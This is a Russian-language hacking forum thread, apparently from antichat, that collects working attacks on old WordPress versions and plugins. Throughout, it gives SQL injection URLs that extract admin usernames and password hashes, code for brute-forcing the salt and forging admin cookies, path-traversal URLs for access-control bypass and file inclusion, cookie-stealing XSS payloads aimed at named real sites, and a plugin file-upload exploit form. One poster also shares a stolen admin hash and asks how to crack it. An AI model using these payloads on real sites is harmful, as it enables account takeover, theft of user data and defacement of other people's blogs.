Нигде не встречал описания подобного эксплоита. Решил поделиться, так ради забавы. Неавторизированное чтение постов на Wordpress 2.2.0 - 2.3.1 http://blog.com/?x=wp-admin/ Показывает все посты предназначенные для администратора, также неопубликованные посты. (c) MrJobson
WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23 WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52 ================================ Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию "wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC COOKIEHASH md5 хеш от имени сайта USERNAME Имя пользователя EXPIRY_TIME Срок жизни cookies до того как они станут невалидными HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress PHP: function wp_validate_auth_cookie($cookie = '') { ........................ list($username, $expiration, $hmac) = explode('|', $cookie); $expired = $expiration; ........................ if ( $expired < time() ) return false; ........................ $key = wp_hash($username . $expiration); $hash = hash_hmac('md5', $username . $expiration, $key); ........................ if ( $hmac != $hash ) return false; } function wp_hash($data) { $salt = wp_salt(); if ( function_exists('hash_hmac') ) { return hash_hmac('md5', $data, $salt); } else { return md5($data . $salt); } } Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом PHP: function wp_salt() { ........................ if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } ........................ } function wp_generate_password() { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $length = 7; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, 61), 1); return $password; } Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy. PHP: $hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt); $hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey); Спасибо +toxa+ и W[4H]LF за потраченное на меня время
Wordpress 2.3.1 - Broken Access Control is_admin() Бага: _http://forum.antichat.ru/showpost.php?p=529997&postcount=17 Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress? Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например: -редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink); -активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins); -активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes); -просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit). И многое другое Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом. З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
скуля Code: http://localhost/[path]/wp-uploadfile.php?f_id=[SQL] SQL query: Code: null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
==================== WP <=2.3.2 SQL-ing big5 В дополнение к GBK sql-inj, описанной в теме выше. Для big5 эксплоит будет выглядеть как HTML: /index.php?exact=1&sentence=1&s=%a3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23 ==================== WP <=2.5.0 Обход регистрации. При импорте блога происходит создание юзеров из гостей с дефолтным паролем "changeme" ==================== WP <=2.3.1 Broken Access Control is_admin() ONLY WINDOWS Вы должны быть авторизованы! В дополнение к урлам МАГа: HTML: /?cat=1.php/../../../../wp%252dadmin/options%252dwriting Локальный инклуд произвольного файла: HTML: /?cat=1.php%2F..%2F..%2F..%2F..%2Fwp%252dadmin%2Fplugins&action=error_scrape&plugin=..%5C..%5Cindex.php ====================
XSS passive 2.6 Ticket #7220 (closed defect: fixed) Component: Security Version: 2.6 HTML: http://localhost/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://localhost/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit Code: <a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2> <h3>SaO</h3> <h4>BiyoSecurityTeam || www.biyosecurity.com</h4> <i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i> <hr color="#f0f8ff"> <fieldset name="upl" class="options"> <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload"> <table cellspacing="0" cellpadding="3"> <tr> <td>Local File</td> </tr> <tr> <td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td> <td><input type="submit" name="up" value="Send" class="button" /></td> </tr> </table> </form> </fieldset>
WordPress Exploit Scanner WordPress Exploit Scanner More Info and Download: http://ocaoimh.ie/exploit-scanner/
Уязвимости в FireStats для WordPress Full path disclosure: Code: http://site/wp-content/plugins/firestats/js/firestats.js.php http://site/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1 http://site/wp-content/plugins/firestats/php/footer.php http://site/wp-content/plugins/firestats/php/page-help.php http://site/wp-content/plugins/firestats/php/page-import.php http://site/wp-content/plugins/firestats/php/page-settings.php http://site/wp-content/plugins/firestats/php/page-stats.php http://site/wp-content/plugins/firestats/php/tabbed-pane.php http://site/wp-content/plugins/firestats/php/ezsql/mysql/demo.php http://site/wp-content/plugins/firestats/php/ezsql/mysql/disk_cache_example.php http://site/wp-content/plugins/firestats/php/ip2c/benchmark.php http://site/wp-content/plugins/firestats/php/ip2c/ip2c_test.php http://site/wp-content/plugins/firestats/php/unzip/sample.php Активная ХSS В поле UserAgent заголов UA отображается без предворительной фильтрации
| Wordpress Plugin downloadMonitor (id) Remote SQL Injection Vulnerability Code: http://localhost/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users-- Author: JIKO Demo: Code: humanum.nl/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users--
Эксплоит для смены пароля администратора Эксплоит для смены пароля администратора Wordpress <= 2.6.1 через уязвимость в генерации случайных чисел в phpBB2 (Cross Application Attack) Статья, посвященная особенностям функций rand() и mt_rand() и вытекающими отсюда уязвимостями в Wordpress и phpBB Уязвимость обнаружена Стефаном Эссером, эксплоит написан мной
WordPress Simple Tagging Widget suffers from a cross site scripting vulnerability Code: ################################################################################################# # # WordPress Simple Tagging Widget Cross Site Scripting Vulnerability (XSS) # # Script: http://wordpress.org/extend/plugins/simple-tagging-widget/ # ################################################################################################# # # Author : kernel_panic # # Site : www.codebomb.org # # Mail : [email protected] # ################################################################################################# # # DORK : Try to find your own using Google. The vulnerable sites # are: www.site.com/?tag=[XSS] or www.site.com/folder/?tag=[XSS] # ################################################################################################# EXAMPLE: http://site.com/?tag=[XSS] e.g.: [XSS]: <script>alert(/XSS/)</script> or try to use others in order to work POC: http://www.wiggler.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E http://dialogos.pasok.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E http://www.programacionweb.net/buscador/?tag=%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E ###################################################################################################
Wordpress Forum version 1.7.4 suffers from a cross site scripting vulnerability. Code: ################################################################ # # Author: FeDeReR and sinner_01 # Home : www.darkc0de.com & www.hacking.ge # # Email : [email protected] & [email protected] # # Share the c0de! # ################################################################ # # Xss # # Soft.Site: http://www.wordpress.com/ # # Dork:Wordpress Forum 1.7.4 # # Dork 2:Fredrik Fahlstad. Version: 1.7.4. # # Xss: http://site.com/path/?forumaction=search # # Search: <script>alert(document.cookie)</script> # # Xss 2: http://site.com/path/?forumaction=showforum&forum=1 # # Post a new topic and type: <script>alert(document.cookie)</script> # # # # # ################################################################
WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC) WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC) Code: in this hack we can remote change admin password, if registration enabled ................ 6. admin's password changed, but new password will be send to correct admin email ;/ Предваряя тысячу и один вопрос "какой же пароль админа?" - отвечаю - пасс админа вы не получите согласно пункту 6. Западлостроение, не более. Source: http://www.milw0rm.com/exploits/6397
Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit http://www.milw0rm.com/exploits/6421
Сорри что может не в тему, но у мну такой вопрос - достал адм. пасс(версия движка 2.6.2), он вот в таком виде: admin:$P$Byn1t0aJv0ceUbWNBKQ6Z7GOOYd.Qq1 полазив по тикитам wp я так понял что там идет дополнительное хеширование md5() хеша, еще и с сальтом, есть ли какой нибудь брутер под данный вид хешей?
>А где взять файл createtables.php для генерации таблиц ? Гуглил, но не удачно... самому написать) но тут учти нюанс надо 2 файла: 1. для пыха < 5.2.1 2. >=5.2.1 оба выйдут по 120 гиг в среднем Дальше. Если радугу лень генерить, то жди работы сплойта. По моим подсчетам, ~10 часов для генерации сида) --- ИМХО сплойт с такими раскладами бесполезен